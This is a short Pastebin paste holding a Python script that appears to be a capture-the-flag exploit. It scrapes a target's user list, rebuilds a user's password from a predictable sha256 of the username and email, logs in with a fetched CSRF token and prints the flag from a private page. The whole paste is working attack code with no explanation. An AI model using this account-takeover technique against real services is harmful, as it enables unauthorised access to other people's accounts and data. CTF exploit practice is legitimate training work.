Advertisement
Guest User

Untitled

a guest
Mar 17th, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. import sys
  4. import requests
  5. from hashlib import sha256
  6. from binascii import hexlify
  7. from bs4 import BeautifulSoup
  8.  
  9.  
  10. HOST = sys.argv[1]
  11. PORT = 5000
  12.  
  13. def get_password(username, email):
  14. m = sha256()
  15. m.update(username.encode('utf-8'))
  16. m.update(email.encode('utf-8'))
  17. res = m.digest()[:10]
  18. return hexlify(res).decode('utf-8')
  19.  
  20. def get_users():
  21. global HOST, PORT
  22. res = requests.get('http://{}:{}/users'.format(HOST, PORT))
  23. users_ = res.text
  24. soup = BeautifulSoup(users_, 'lxml')
  25. i = soup.findAll('td', {'class':'pwnCompany', 'style':True})[-1]
  26. d_ = i.string.split()
  27. s = requests.session()
  28. username = d_[1]
  29. email = d_[2][1:-1]
  30. password = get_password(username, email)
  31. res = s.get('http://{}:{}/login'.format(HOST, PORT)).text
  32. soup = BeautifulSoup(res, 'lxml')
  33. csrf = soup.findAll('input', {'id':'csrf_token'})[0]['value']
  34. res = s.post('http://{}:{}/login'.format(HOST, PORT), data={'csrf_token':csrf,
  35. 'username':username,
  36. 'password':password,
  37. 'submit':'Sign+In'})
  38. res = s.get('http://{}:{}/private'.format(HOST, PORT)).text
  39. soup = BeautifulSoup(res, 'lxml')
  40. flag = soup.findAll('div', {'class':'TD', 'style':'max-width: 100%; overflow-x: scroll'})[-1].string[1:-1]
  41. print(flag, flush=True)
  42. get_users()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement